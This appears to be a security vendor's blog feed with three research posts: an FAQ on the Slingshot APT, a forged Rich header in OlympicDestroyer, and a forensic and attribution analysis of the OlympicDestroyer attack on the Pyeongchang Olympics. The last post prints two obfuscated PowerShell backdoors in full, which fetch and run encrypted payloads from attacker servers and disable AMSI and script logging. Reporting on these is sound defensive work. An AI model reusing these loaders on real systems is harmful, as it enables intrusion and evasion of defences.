Malware Alerts

Subscribe to Malware Alerts feed Malware Alerts
Online headquarters of Kaspersky Lab security experts.
Updated: 14 hours 57 min ago

The Slingshot APT FAQ

Fri, 03/09/2018 - 10:20

While analysing an incident which involved a suspected keylogger, we identified a malicious library able to interact with a virtual file system, which is usually the sign of an advanced APT actor. This turned out to be a malicious loader internally named ‘Slingshot’, part of a new, and highly sophisticated attack platform that rivals Project Sauron and Regin in complexity.

The initial loader replaces the victim´s legitimate Windows library ‘scesrv.dll’ with a malicious one of exactly the same size. Not only that, it interacts with several other modules including a ring-0 loader, kernel-mode network sniffer, own base-independent packer, and virtual filesystem, among others.

While for most victims the infection vector for Slingshot remains unknown, we were able to find several cases where the attackers got access to Mikrotik routers and placed a component downloaded by Winbox Loader, a management suite for Mikrotik routers. In turn, this infected the administrator of the router.

We believe this cluster of activity started in at least 2012 and was still active at the time of this analysis (February 2018).

Why did you call the intruder Slingshot?

The name appears unencrypted in some of the malicious samples – it is the name of one of the threat actor’s components, so we decided to extend it to the APT as a whole.

When was Slingshot active?

The earliest sample we found was compiled in 2012 and the threat was still active in February 2018.

How did the threat attack and infect its victims?

Slingshot is very complex and the developers behind it have clearly spent a great deal of time and money on its creation. Its infection vector is remarkable – and, to the best of our knowledge, unique.

We believe that most of the victims we observed appeared to have been initially infected through a Windows exploit or compromised Mikrotik routers.

How exactly does infection happen?

The exact method used by Slingshot to exploit the routers in the first instance is not yet clear. When the target user runs Winbox Loader software (a utility used for Mikrotik router configuration), this connects to the router and downloads some DLLs (dynamic link libraries) from the router’s file system.

One of them – ipv4.dll – has been placed by the APT with what is, in fact, a downloader for other malicious components. Winbox Loader downloads this ipv4.dll library to the target’s computer, loads it in memory and runs it.

This DLL then connects to a hardcoded IP and port (in every cases we saw it was the router’s IP address), downloads the other malicious components and runs them.

To run its code in kernel mode in the most recent versions of operating systems, that have Driver Signature Enforcement, Slingshot loads signed vulnerable drivers and runs its own code through their vulnerabilities. .

Following infection, Slingshot would load a number of modules onto the victim device, including two huge and powerful ones: Cahnadr, the kernel mode module, and GollumApp, a user mode module. The two modules are connected and able to support each other in information gathering, persistence and data exfiltration.

The most sophisticated module is GollumApp. This contains nearly 1,500 user-code functions and provides most of the above described routines for persistence, file system control and C&C communications.

Canhadr, also known as NDriver, contains low-level routines for network, IO operations and so on. Its kernel-mode program is able to execute malicious code without crashing the whole file system or causing Blue Screen – a remarkable achievement. Written in pure C language, Canhadr/Ndriver provides full access to the hard drive and operating memory despite device security restrictions, and carries out integrity control of various system components to avoid debugging and security detection.

Are Mikrotik the only affected routers?

Some victims may have been infected through other routes. During our research we also found a component called KPWS that turned out to be another downloader for Slingshot components.

Did you inform the affected vendor?

Although the available intelligence is limited and we are not sure what kind of exploit was used to infect routers, we provided Mikrotik with all information available.

What can users of Mikrotik routers do to protect themselves?

Users of Mikrotik routers should upgrade to the latest software version as soon as possible to ensure protection against known vulnerabilities. Further, Mikrotik Winbox no longer downloads anything from the router to the user’s computer.

What are the advantages of achieving kernel mode?

It gives intruders complete control over the victim computer. In kernel mode malware can do everything. There are no restrictions, no limitations, and no protection for the user (or none that the malware can’t easily bypass).

What kind of information does Slingshot appear to be looking for?

Slingshot’s main purpose seems to be cyber-espionage. Analysis suggests it collects screenshots, keyboard data, network data, passwords, USB connections, other desktop activity, clipboard and more, although its kernel access means it can steal whatever it wants.

But with full access to the kernel part of the system, it can steal whatever it wants – credit card numbers, password hashes, social security account numbers – any type of data.

How did Slingshot avoid detection?

The threat actor combined a number of known approaches to protect it very effectively from detection: including encrypting all strings in its modules, calling system services directly in order to bypass security-product hooks, using a number of Anti-bug techniques, and more.

Further, it can shut down its components, but ensure they complete their tasks before closing. This process is triggered when there are signs of an imminent in-system event, such as a system shutdown, and is probably implemented to allow user-mode components of the malware to complete their tasks properly to avoid detection during any forensic research.

You said that it disables disk defragmentation module in Windows OS. Why?

This APT uses its own encrypted file system and this can be located among others in an unused part of a hard drive. During defragmentation, the defrag tool relocates data on disk and this tool can write something to sectors where Slingshot keeps its file systems (because the operating system thinks these sectors are free). This will damage the encrypted file system. We suspect that Slingshot tries to disable defragmentation of these specific areas of the hard drive in order to prevent this from happening.

How does it exfiltrate data?

The malware exfiltrates data through standard networks channels, hiding the traffic being extracted by hooking legitimate call-backs, checking for Slingshot data packages and showing the user (and users’ programs like sniffers and so on) clear traffic without exfiltrated data.

Does it use exploits to zero-day vulnerabilities? Any other exploits?

We haven’t seen Slingshot exploit any zero-days, but that doesn’t mean that it doesn’t – that part of a story is still unclear for us. But it does exploit known vulnerabilities in drivers to pass executable code into kernel mode. These vulnerabilities include CVE-2007-5633; CVE-2010-1592, CVE-2009-0824.

What is the victim profile and target geography?

So far, researchers have seen around 100 victims of Slingshot and its related modules, located in Kenya, Yemen, Afghanistan, Libya, Congo, Jordan, Turkey, Iraq, Sudan, Somalia and Tanzania. Most of the victims appear to be targeted individuals rather than organizations, but there are some government organizations and institutions. Kenya and the Yemen account for most of the victims observed to date.

What do we know about the group behind Slingshot?

The malicious samples investigated by the researchers were marked as ‘version 6.x’, which suggests the threat has existed for a considerable length of time. The development time, skill and cost involved in creating Slingshot’s complex toolset is likely to have been extremely high. Taken together, these clues suggest that the group behind Slingshot is likely to be highly organized and professional and probably state-sponsored.

Text clues in the code suggest it is English-speaking. Some of the techniques used by Slingshot, such as the exploitation of legitimate, yet vulnerable drivers has been seen before in other malware, such as White and Grey Lambert. However, accurate attribution is always hard, if not impossible to determine, and increasingly prone to manipulation and error.

Read more in our technical paper.

The devil’s in the Rich header

Thu, 03/08/2018 - 12:00

In our previous blog, we detailed our findings on the attack against the Pyeongchang 2018 Winter Olympics. For this investigation, our analysts were provided with administrative access to one of the affected servers, located in a hotel based in Pyeongchang county, South Korea. In addition, we collected all available evidence from various private and public sources and worked with several companies to investigate the command and control (C&C) infrastructure associated with the attackers.

During this investigation, one thing stood out – the attackers had pretty good operational security and made almost no mistakes. Some of our colleagues from other companies pointed out similarities with Chinese APT groups and Lazarus. Yet, something about these potential connections didn’t quite add up. This made us look deeper for more clues.

The attackers behind OlympicDestroyer employed several tricks to make it look similar to the malicious samples attributed to the Lazarus group. The main module of OlympicDestroyer carries five additional binaries in its resources, named 101 to 105 respectively. It is already known that resources 102 and 103, with the internal names ‘kiwi86.dll’ and ‘kiwi64.dll’ share considerable amounts of code with other known malware families only because they are built on top of the Mimikatz open-source tool. Resource 105, however is much more interesting in terms of attribution.

Resource 105 is the ‘wiper’ component of OlympicDestroyer. This binary launches a destructive attack on the victim’s network; it removes shadow copy backups, traverses the shared folders on the networks and deletes files. Anyone familiar with the wipers attributed to the Lazarus group will find strong similarities in the file deletion routines:

File deletion routines.
To the left 3c0d740347b0362331c882c2dee96dbf (OlympicDestroyer), on the right 1d0e79feb6d7ed23eb1bf7f257ce4fee (BlueNoroff by Lazarus).

Both functions do essentially the same thing: they delete the file by wiping it with zeroes, using a 4096 bytes memory block. The minor difference here is that the original Bluenoroff routine doesn’t just return after wiping the file, but also renames it to a new random name and then deletes it. So, the similar code may be considered as no more than a weak link.

A much more interesting discovery appeared when we started looking for various kinds of metadata of the PE file. It turned out that that the wiper component of OlympicDestroyer contained the exact ‘Rich’ header that appeared previously in Bluenoroff samples.

MZ DOS and Rich headers of both files (3c0d740347b0362331c882c2dee96dbf – OlympicDestroyer, 5d0ffbc8389f27b0649696f0ef5b3cfe – BlueNoroff) are exactly the same.

This provided us with an interesting clue: if files from both the OlympicDestroyer and Bluenoroff families shared the same Rich header it meant that they were built using the same environment and, having already found some similarities in the code, this could have meant that there is a real link between them. To test this theory, we needed to investigate the contents of the Rich header.

The Rich header is an undocumented structure that appears in most of the PE files generated with the ‘LINK.EXE’ tool by Microsoft. Effectively, any binary built using the standard Microsoft Visual Studio toolset contains this header. There is no official documentation describing this structure, but there is enough public information that can be found on the internet, and there is also the LINK.EXE itself that can be reverse engineered. So, what is a Rich header?

A Rich header is a structure that is written right after the MZ DOS header. It consists of pairs of 4-byte integers. It starts with the magic value, ‘DanS’ and ends with a ‘Rich’ followed by a checksum. And it is also encrypted using a simple XOR operation using the checksum as the key. The data between the magic values encodes the ‘bill of materials’ that were collected by the linker to produce the binary.

Offset First value Second value Description 00 44 61 6E 53 (“DanS”) 00 00 00 00 Beginning of the header 08 00 00 00 00 00 00 00 00 Empty record 10 Tool id, build version Number of items Bill of materials record #1 …       … 52 69 63 68 “Rich” Checksum / XOR key End of the header

The first value of each record is a tool identifier: the unique number of the tool (‘C++ compiler’, ‘C compiler’, ‘resource compiler’, ‘MASM’, etc.), a Visual Studio specific, and the lowest 16 bits of the build number of the tool. The second value is a little-endian integer that is a number of items that were produced by the tool. For example, if the application consists of three source C++ files, there will be a record with a tool id corresponding to the C++ compiler, and the item count will be exactly ‘3’.

The Rich header in OlympicDestroyer’s wiper component can be decoded as follows:

Raw data Type Count Produced by ======================================================== 000C 1C7B 00000001 oldnames 1 12 build 7291 000A 1F6F 0000000B cobj 11 VC 6 (build 8047) 000E 1C83 00000005 masm613 5 MASM 6 (build 7299) 0004 1F6F 00000004 stdlibdll 4 VC 6 (build 8047) 005D 0FC3 00000007 sdk/imp 7 VC 2003 (build 4035) 0001 0000 0000004D imports 77 imports (build 0) 000B 2636 00000003 c++obj 3 VC 6 (build 9782)

It is a typical example of a header for a binary created with Visual Studio 6. The ‘masm613’ items were most likely taken from the standard runtime library, while the items marked as ‘VC 2003’ correspond to libraries imported from a newer Windows SDK – the code uses some Windows API functions that were missing at the time VC 6 was released. So, basically it looks like a C++ application having three source code files and using a slightly newer SDK to link the Windows APIs. The description perfectly matches the contents of the Bluenoroff sample that has the same Rich header (i.e. 5d0ffbc8389f27b0649696f0ef5b3cfe).

We get very different results when trying to check the validity of the Rich header’s entries against the actual contents of OlympicDestroyer wiper’s component. Even a quick visual inspection of the file shows something very unusual for a file created with Visual Studio 6: references to ‘mscoree.dll’ that did not exist at the time.

References to “mscoree.dll” and error messages typical for the MSVC libraries

After some experimentation and careful comparison of binaries generated by different versions of Visual Studio, we can name the actual version of Studio that was used: it is Visual Studio 2010 (MSVC 10). Our best proof is the code of the ___tmainCRTStartup function that is only produced with the runtime library of MSVC 10 (DLL runtime) using default optimizations.

Beginning of the disassembly of the ___tmainCRTStartup function of the OlympicDestroyer’s wiper component, 3c0d740347b0362331c882c2dee96dbf

It is not possible that the binary was produced with a standard linker and was built using the MSVC 2010 runtime, having the 2010’s startup code invoking the WinMain function and at the same time did not have any Rich records referring to VC/VC++ 2010. At the same time, it could not have the same number of Rich records for the VC6 code that is missing from the binary!

A binary produced with Visual Studio 2010 and built from the same code (decompiled), having the same startup code and almost identical to the wiper’s sample will have a Rich header that is totally different:

Raw data Type Count Produced by ================================================================ 009E 9D1B 00000008 masm10 8 VC 2010 (build 40219) 0093 7809 0000000B sdk/imp 11 VC 2008 (build 30729) 0001 0000 00000063 imports 99 imports (build 0) 00AA 9D1B 0000003A cobj 58 VC 2010 (build 40219) 00AB 9D1B 0000000E c++obj 14 VC 2010 (build 40219) 009D 9D1B 00000001 linker 1 157 build 40219

The only reasonable conclusion that can be made is that the Rich header in the wiper was deliberately copied from the Bluenoroff samples; it is a fake and has no connection with the contents of the binary. It is not possible to completely understand the motives of this action, but we know for sure that the creators of OlympicDestroyer intentionally modified their product to resemble the Bluenoroff samples produced by the Lazarus group.

The forgotten sample

During the course of our investigation, we came across a sample that further consolidates the theory of the Rich header false flag from Lazarus.

The sample, 64aa21201bfd88d521fe90d44c7b5dba was uploaded to a multi-scanner service from France on 2018-02-09 13:46:23, as ‘olymp.exe’. This is a version of the wiper malware described above, with several important changes:

  • The 60 minutes delay before shutdown was removed
  • Compilation timestamp is 2018-02-09 10:42:19
  • The Rich header appears legit

The removal of the 60 minutes’ delay indicates the attackers were probably in a rush and didn’t want to wait before shutting down the systems. Also, if true, the compilation timestamp 2018-02-09 10:42:19 puts it right after the attack on the Pyeonchang hotels, which took place at around 9:00 a.m. GMT. This suggests the attackers compiled this ‘special’ sample after the wiping attack against the hotels and, likely as a result of their hurry, forgot to fake the Rich header.


The existence of the fake Rich header from Lazarus samples in the new OlympicDestroyer samples indicates an intricate false flag operation designed to attribute this attack to the Lazarus group. The attackers’ knowledge of the Rich header is complemented by their gamble that a security researcher would discover it and use it for attribution. Although we discovered this overlap on February 13th, it seemed too good to be true. On the contrary, it felt like a false flag from the beginning, which is why we refrained from making any connections with previous operations or threat actors. This newly published research consolidates the theory that blaming the Lazarus group for the attack was parts of the attackers’ strategy.

We would like to ask other researchers around the world to join us in investigating these false flags and attempt to discover more facts about the origin of OlympicDestroyer.

If you would like to read more about Rich header, we can recommend a nice presentation on this from George Webster and Julian Kirsch or Technical University of Munich.


3c0d740347b0362331c882c2dee96dbf – wiper with the fake Lazarus Rich header
64aa21201bfd88d521fe90d44c7b5dba – wiper the original Rich header and no delay before shutdown

OlympicDestroyer is here to trick the industry

Thu, 03/08/2018 - 12:00

A couple of days after the opening ceremony of the Winter Olympics in Pyeongchang, South Korea, we received information from several partners, on the condition of non-disclosure (TLP:Red), about a devastating malware attack on the Olympic infrastructure. A quick peek inside the malware revealed a destructive self-modifying password-stealing self-propagating malicious program, which by any definition sounds pretty bad.

According to media reports, the organizers of the Pyeongchang Olympics confirmed they were investigating a cyberattack that temporarily paralyzed IT systems ahead of official opening ceremonies, shutting down display monitors, killing Wi-Fi, and taking down the Olympics website so that visitors were unable to print tickets. We also found other attempts to wreak havoc at companies working closely with the Winter Olympics.

Malware features

Several files related to the cyberattack were uploaded to VirusTotal on the day of the attack and were quickly picked up by other security researchers. As we were researching this attack, the Cisco Talos team published a brief description of the malware which Talos got from an undisclosed source. In their blog Talos highlighted some similarities between the attack, Netya (Expetr/NotPetya) and BadRabbit (targeted ransomware).

The Talos publication effectively removed the TLP constraint as the information had now become public and could be referenced in this way. However, we decided not to jump to conclusions, especially with regards to attribution, and spent time researching it calmly and methodologically, while we continued to discover more and more false flags and controversies in the malware.

The main malware module is a network worm that consists of multiple components, including a legitimate PsExec tool from SysInternals’ suite, a few credential stealer modules and a wiper. From a technical perspective, the purpose of the malware is to deliver and start the wiper payload which attempts to destroy files on the remote network shares over the next 60 minutes. Meanwhile, the main module collects user passwords from browser and Windows storage and crafts a new generation of the worm that contains old and freshly collected compromised credentials. The new generation of the worm is pushed to accessible local network computers and starts using the PsExec tool, leveraging the collected credentials and current user privileges.

Once the wiper has run for 60 minutes it cleans Windows event logs, resets backups, deletes shadow copies from the file system, disables the recovery item in the Windows boot menu, disables all the services on the system and reboots the computer. Those files on the network shares that it managed to wipe within 60 minutes remain destroyed. The malware doesn’t use any persistence and even contains protection (also a killswitch) against recurring reinfection. Incidentally, only 1MB of the remote files are fully overwritten with zeroes; larger files were wiped with just 1K of zeroes in the header. The local files are not destroyed and the worm doesn’t wipe itself or its components.

Fig.1 OlympicDestroyer component relations

Reconnaissance stage

Several companies have blogged about OlympicDestroyer’s attribution, it’s features and propagation method, but no one has discovered how exactly it was launched and from where. That’s where we had a little bit more luck.

Since December 2017 security researchers have been seeing samples of MS Office documents in spearphishing emails related to the Winter Olympics uploaded to VirusTotal. The documents contained nothing but slightly formatted gibberish to make it look like the text had an encoding problem, encouraging the user to press a button to “Enable Content”.

Fig.2 Screenshot of attachment from a spearphishing email.

When the victim “enables content”, the document starts a cmd.exe with a command line to execute a PowerShell scriptlet that, in turn, downloads and executes a second stage PowerShell scriptlet and, eventually, backdoors the system. The only apparent links between this email campaign and OlympicDestroyer would have been the target, however, we managed to discover a couple of connections between this weaponized document and the attack in Pyeongchang which makes us believe they are related.

For this investigation, our analysts were provided with administrative access to one of the affected servers located in a hotel based in Pyeongchang county, South Korea. A triage analysis was conducted on this Windows server system. The affected company also kindly provided us with the network connections log from their network gateway. Thanks to this, we confirmed the presence of malicious traffic to a malicious command and control server at IP 131.255.*.* which is located in Argentina. The infected host established multiple connections to this server on ports from the following list:

  • 443
  • 4443
  • 8080
  • 8081
  • 8443
  • 8880

The server in Argentina was purchased from a reseller company in Bulgaria, which kindly assisted us in this investigation. The company shared that the server was purchased from Norway, by a person using a Protomail account:

Name: Simon ***

Email: simon***

Last Login Date: 2018-02-07 16:09

IP Address: 82.102.*.* (Norway)

Server purchased on: 2017-10-10

We were able to further connect this to a suspicious looking domain, with a registration address and phone number from Sweden:

Domain: microsoft******[.]com

Registration name: Elvis ****

Email: elvis***

Registration date: 2017-11-28

Before getting suspended in December 2017 for failing the ICANN email verification check, the domain registration was privacy-protected. This shielded the registration data, except the DNS servers, which indicate it was purchased via MonoVM, a VPS for a bitcoin provider:

  • Name Server:[.]com
  • Name Server: monovm.mars.orderbox-dns[.]com
  • Name Server: monovm.mercury.orderbox-dns[.]com
  • Name Server: monovm.venus.orderbox-dns[.]com

Name server history:

Fig.3 Name server history for microsoft*****.com

This email popped up as a contact detail for a small network inside the 89.219.*.* range that is located in Kazakhstan. This is where the trail ends for now. We apologize for not disclosing the full information as we would like to avoid random interactions with this contact. Full information has been provided to law enforcement agencies and customers subscribed to our APT Intel reporting service.

To manage the server in Argentina, Simon *** used the IP address in Norway (82.102.*.*). This is the gateway of a VPN service known as NordVPN ( that offers privacy-protected VPN services for bitcoins.

It’s not the first time the name NordVPN has cropped up in this case. We previously saw a weaponized Word document used in spearphishing emails targeting the Winter Olympics that contained something that looked like garbage text taken from a binary object (e.g. pagefile or even raw disk). However, part of the random data included two clearly readable text strings (highlighted below) that made it into the document (md5: 5ba7ec869c7157efc1e52f5157705867) for no obvious reason:

Fig. 4 A reference to NordVPN openvpn config file

Of course, this is a low confidence indicator, but seems to be another link between the spearphishing campaign on the Winter Olympics and the attackers responsible for launching the OlympicDestroyer worm. In addition, this document includes a PowerShell command that closely resembles the PowerShell backdoor found in the network of the OlympicDestroyer victim. A comparison of this code is available below.

The PowerShell scripts listed below were used in the weaponized documents and as standalone backdoors. As standalone fileless backdoors, they were built and obfuscated using the same tool. Both scripts use a similar URL structure and both implement RC4 in PowerShell, as well as using a secret key passed to the server in base64 via cookies.

Spearphishing case in South Korea Powershell found on OlympicDestroyer victim ( gCi VariABLE:FzS3AV )."VaLUE"::"expecT100cOnTiNUe"=0; ${wC}=^&NEW-ObjecT System.Net.Webclient;${u}=Mozilla/5.0 (Windows NT 6.1;WOW64; Trident/7.0; rv:11.0)like Gecko; ( GCI VARiabLe:fZS3aV )."vAlUe"::"seRVeRCeRTiFICaTEVALIDATIoNCALlbAck" = {${tRUE}}; ${wC}."hEADERs".Add.Invoke(User-Agent,${U}); ${WC}."PROXy"= ( variaBLe ("fX32R") -VAlUeO )::"DefaultWebProxy"; ${wc}."pRoxY"."CREdENtials" = ( GET-vaRiABle ('hE7KU'))."VAlue"::"dEFauLTNeTWOrkCREdENTIALs"; ${K}= $XNLO::"asCiI".GetBytes.Invoke(5e2988cfc41d844e2114dceb8851d0bb); ${R}= { ${D},${K}=${ArGs}; ${s}=0..255;0..255^|^&('%') { ${j}=(${j}+${s}[${_}]+${k}[${_}%${K}."couNt"])%256; ${s}[${_}],${S}[${J}]=${s}[${J}],${S}[${_}] }; ${d}^|^&('%') { ${I}=(${I}+1)%256; ${h}=(${H}+${s}[${I}])%256; ${S}[${I}],${s}[${H}]=${s}[${H}],${S}[${I}]; ${_}-BxoR${S}[(${s}[${I}]+${S}[${H}])%256]} }; ${Wc}."hEadeRS".Add.Invoke(cookie,session=ABWjqj0NiqToVn0TW2FTlHIAApw=); ${SER}=https://minibo***[.]cl:443; ${T}=/components/com_tags/controllers/default_tags.php; ${dATa}=${Wc}.DownloadData.Invoke(${seR}+${T}); ${IV}=${DATA}[0..3]; ${dAta}=${DaTA}[4..${dAtA}.length]; -jOin[ChaR[]](^& ${R} ${DAtA} (${IV}+${K}))^|.IEX &&SeT RMN=ecHo InvoKe-expRESsIon ([ENVirOnMeNt]::gETeNvIroNMENTvarIaBlE('svTI','procEsS')) ^| pOWErshEll -NOnint -wiNdOWSt hiddeN -NoEXiT -NoprOFilE -ExECuTiONPOLIcy bYpASs - && CMd.exE /c%Rmn% If($PSVERsIoNTAbLe.PSVeRsIon.MAJOR -Ge 3){$GPS=[ReF].ASSEmbly.GETTYPE('System.Management.Automation.Utils')."GeTFie`Ld"('cachedGroupPolicySettings','N'+'onPublic,Static').GEtVALUe($NulL); If($GPS['ScriptB'+'lockLogging']){$GPS['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0; $GPS['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}ElSE{[ScriptBlOcK]."GeTFiE`Ld"('signatures','N'+'onPublic,Static').SETValUE($NUlL,(New-ObJecT CoLLectIOnS.GeNeRIC.HAshSet[stRing]))}[ReF].AssEmbLY.GETTYPe('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtField('amsiInitFailed','NonPublic,Static').SEtVALue($nULL,$TRuE)}; }; [SYStem.NeT.SerVicePoinTMANAGeR]::EXPeCt100ConTINuE=0; $wC=NeW-ObJect SySTem.NEt.WEBClIeNT; $u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; $Wc.HEADErS.Add('User-Agent',$u); $wC.ProXY=[SYsTeM.NET.WeBREqUesT]::DEFAUltWebPROXY; $wC.PROxY.CredentIAlS = [SYsTem.NEt.CRedeNTialCacHe]::DeFAuLTNeTwoRKCredeNtiAls; $Script:Proxy = $wc.Proxy; $K=[SysTEM.Text.ENcOding]::ASCII.GETBYTes('94+K/L3OE?o@qRl>.:FPev7rtNb^|#im'); $R= { $D,$K=$ARgs; $S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.COuNt])%256; $S[$_],$S[$J]=$S[$J],$S[$_]}; $D|% { $I=($I+1)%256; $H=($H+$S[$I])%256; $S[$I],$S[$H]=$S[$H],$S[$I]; $_-bxor$S[($S[$I]+$S[$H])%256] } }; $ser='http://131.255.*.*:8081'; $t='/admin/get.php'; $wc.HeAders.Add("Cookie","session=zt8VX24Knnzen8pNvhPl1xJ2E5s="); $daTA=$WC.DownlOADDATA($ser+$t); $iV=$DATa[0..3]; $datA=$dATa[4..$data.leNgth]; -joiN[CHAR[]](& $R $dAta ($IV+$K))|IEX Lateral movement

Despite the network worm’s self-replicating feature, the attackers did some manual lateral movement before starting on the destructive malware. We believe this was done to look for a better spot to release the worm. They seemed to be moving through the network via Psexec and stolen credentials, opening a default meterpreter port (TCP 4444) and downloading and running a backdoor (meterpreter). The attackers also checked the network configuration, potentially searching for servers attached to multiple networks or VPN links in order to penetrate adjacent networks that could be linked to the Olympic Committee infrastructure.

One of the hosts in the network of the affected ski resort hotel had Kaspersky Lab’s system watcher component enabled, which collected quite a few of the artifacts used by the attackers for lateral movement. According to the telemetry from this host, the attackers entered the system on 6 February, 2018. They used three types of PowerShell scriptlets: TCP 4444 port opener, ipconfig launcher and a downloader.

Based on telemetry we received from one of the hosts, we built a timeline of the attackers’ activity and a histogram showing when the attackers started executables on the system.

Fig.5 Histogram with attacker activity per hour of day

From this we can see that the attackers were mostly busy outside of office hours according to Korean Standard Time (UTC+9), perhaps to attract less attention or simply due to their own timezone.

Worm propagation

OlympicDestroyer is a network worm that collects user credentials with hostnames. New data is appended to the end of an existing collection. Having multiple samples of the worm from different networks allows us to reconstruct the path of the worm and find the source of distribution (or at least its hostname and list of users).

Fig.6 OlympicDestroyer worm propagation

The diagram above was built based on extracted lists of credentials with hostnames and some alleged roles of the servers based on respective names. We can see there were at least three independent launch pads for the worm: company, ski resort hotels, and the server.

At some point, samples with a list of credentials were uploaded to VirusTotal where they were found by security researchers that executed the worm in a sandbox environment and uploaded the new generation on VirusTotal again. There are a number of samples on VT that contain credentials from those sandbox machines. Nevertheless, it’s clear the network worm wasn’t started there initially, but was instead coming from one of the known launch pads.


Spearphishing emails were used to target the networks of official partners of the Winter Olympics. The attackers probably went to the official website to find out the names of the partner companies, figured out their domain names, collected known email addresses and started bombarding them with spearphishes.

One of these weaponized documents was uploaded to VT from South Korea on 29 December, 2017 inside an email file (6b728d2966194968d12c56f8e3691855). The sender address imitates the South Korean NCTC (National Counter-Terrorism Center), while the sender’s server IP originates from a server in Singapore.

Fig.7 Fake sender address.

The email appears to have been sent to icehockey@pyeongchang2018[.]com. However, the real targets are in the following list:

Industry Target Company/Organization Domain Government organization Enterprise Energy Semiconductor Transport Hospital Media Advertising (LED display company) (LED Panel Advertising company email) Resort/Hotel

The attackers appear to have got sloppy when they searched for email addresses that ended with those targeted domains. Using short domain names such as or wasn’t a good idea. This went unnoticed and a few totally unrelated companies with domain names ending with and received spearphishing emails:

  • krovy-com (Wood company in Slovakia)
  • okc-com (Mining-related company in Canada)
  • bcel-com (Finance company in Laos)
  • kuhlecom (Software company in Australia)
  • wertprojecom (Real estate company in Germany)

Based on all the evidence we discovered, the following networks seem to have been breached in the attack:

  • Software vendor responsible for automation at ski resorts
  • Two ski resort hotels in South Korea
  • IT service provider ( headquartered in France
  • com attached network

Considering the malware was spread as a network worm via Windows network shares, collateral damage was inevitable. Through one of the victims who uploaded the dropper file to VT from Austria, we were able to extract the hostname from the stolen credentials stored in the malware: ATVIES2BQA. While it may look like a random sequence of characters at first glance, we speculate that AT stands for the host country code (Austria) which matches the submitter source country, followed by the organization name “VIES” with some extra random characters uniquely identifying the host. According to OSINT, there is only one large organization that matches this name in Austria – the VAT Information Exchange System used throughout the European Union. VIES is a search engine owned by the European Commission. So, it’s either a compromised host of Atos which role is to communicate with the Austrian VIES or the Austrian VIES indeed is indeed in collateral damage of the malware’s network propagation.

But the main outbreak of the worm that we investigated was at a hotel in a South Korean winter resort. The hotel didn´t upload any samples to VT, which is why it remained unknown. We assume many other companies attacked in South Korea did the same, which reduced the visible surface of the attacked infrastructure.

While we cannot name the hotel chain, we can say that one of its hotels located in a ski resort in Pyeongchang was subjected to an attack. Despite the close proximity to the Olympic Games, the resort was not one of the official winter parks staging the games. However, it is definitely part of the surrounding infrastructure that hosted numerous guests and possibly even sports teams competing at the Olympics. In an interview with the owners, we found out that the malware disabled ski gates and ski lifts that were operated from one of the attacked servers. Our analysis showed that this was not collateral damage. The attackers deliberately chose to start the spread of the destructive worm from this dedicated ski resort automation server. That server was the so-called patient-zero in the network. The timing was also chosen to precede the official opening ceremony by a couple of hours, allowing the worm to propagate deep enough into networks to cause maximum inconvenience for those using the affected infrastructure. As a matter of fact, the plan was to let the worm gain better visibility in the news.

Attribution hell

In their blog the Cisco Talos researchers also pointed out that OlympicDestroyer used similar techniques to Badrabbit and NotPetya to reset the event log and delete backups. Although the intention and purpose of both implementations of the techniques are similar, there are many differences in the code semantics. It’s definitely not copy-pasted code and because the command lines were publicly discussed on security blogs, these simple techniques became available to anyone who wants to use them.

Fig.8 Event logs cleaning and disabling system recovery in OlympicDestroyer and NotPetya

Soon after the Talos publication, Israeli company IntezerLabs tweeted that they had found links to Chinese APT groups.

Fig.9 Announcement of connection to Chinese APTs by IntezerLabs on 12 Feb, 2018

IntezerLabs released a blogpost with an analysis of features found using their in-house malware similarity technology.

A few days later media outlets started publishing articles suggesting potential motives and activities by Russian APT groups: “Crowdstrike Intelligence said that in November and December of 2017 it had observed a credential harvesting operation operating in the international sporting sector. At the time it attributed this operation to Russian hacking group Fancy Bear”…”.

On the other hand, Crowdstrike’s own VP of Intelligence, Adam Meyers, in an interview with the media said: “There is no evidence connecting Fancy Bear to the Olympic attack”.

However, a couple of weeks later, the Russian trace was brought up again by the Washington Post, which claimed that Russian military spies were behind the Winter Olympics attack, citing “two U.S. officials who spoke on the condition of anonymity”. Unfortunately, such articles based on anonymous sources contain no verifiable information and bring no real answers – they only spread rumors.

Microsoft’s security team also seems to have been tricked by the malware as their internal detection was triggered on the potential use of EternalRomance exploit (MS17-010).

Fig.10 Microsoft security team claims they found EternalRomance in OlympicDestroyer

A couple of days later Microsoft had to retract those claims as they were simply not confirmed.

Fig.11 Microsoft security team retracts previous claims in a subsequent tweet

The day after we released a private report with forensic findings and detailed analysis of this attribution hell to our APT Intel subscribers (for more information please contact:, the Cisco Talos team decided to revisit OlympicDestroyer and go public with a similar review. We сan’t help but agree with this nice write-up with code comparison, because we came to very similar conclusions.

In addition, Talos researchers noted that the evtchk.txt filename, which the malware used as a potential false-flag during its operation, was very similar to the filenames (evtdiag.exe, evtsys.exe and evtchk.bat) used by BlueNoroff/Lazarus in the Bangladesh SWIFT cyberheist in 2016.

Recorded Future decided to not attribute this attack to any actor; however, they claimed that they found similarities to BlueNoroff/Lazarus LimaCharlie malware loaders that are widely believed to be North Korean actors.

We can’t dispute that part of the code really does resemble the Lazarus code. The wiper modules used in OlympicDestroyer (MD5: 3c0d740347b0362331c882c2dee96dbf) and Bluenoroff (MD5: 5d0ffbc8389f27b0649696f0ef5b3cfe) used similar code to wipe files.

Fig.12 Comparison of wiping module (left: Bluenoroff tool; right: OlympicDestroyer)

There is also a high level of similarity between Lazarus and OlympicDestroyer. There are modules in both campaigns that used the same technique to decrypt a payload in memory using a secret password provided via a command line. Lazarus used this in their malware loaders (Recorded Future also mentions a similarity in malware loader code) to protect their backdoor modules from reverse engineering as they contained some default C2 information.

Despite the resemblance in the method, there are significant differences in its usage:

  1. Lazarus used long and reliable alphanumeric passwords (30+ characters long). OlympicDestroyer on the contrary used a very simple password: “123”.
  2. Lazarus never hardcoded its passwords for protected payloads into the malware body. OlympicDestroyer on the contrary hardcoded it (there was actually no other way, because the worm had to spread itself and run fully autonomously). That’s why the whole idea of using password-protected payloads in the network worm looks ridiculous, and we believe it’s unlikely an actor such as Lazarus would implement techniques like that considering their previous TTPs.

The possibility of North Korean involvement looked way off mark, especially since Kim Jong-un’s own sister attended the opening ceremony in Pyeongchang. According to our forensic findings, the attack was started immediately before the official opening ceremony on 9 February, 2018.

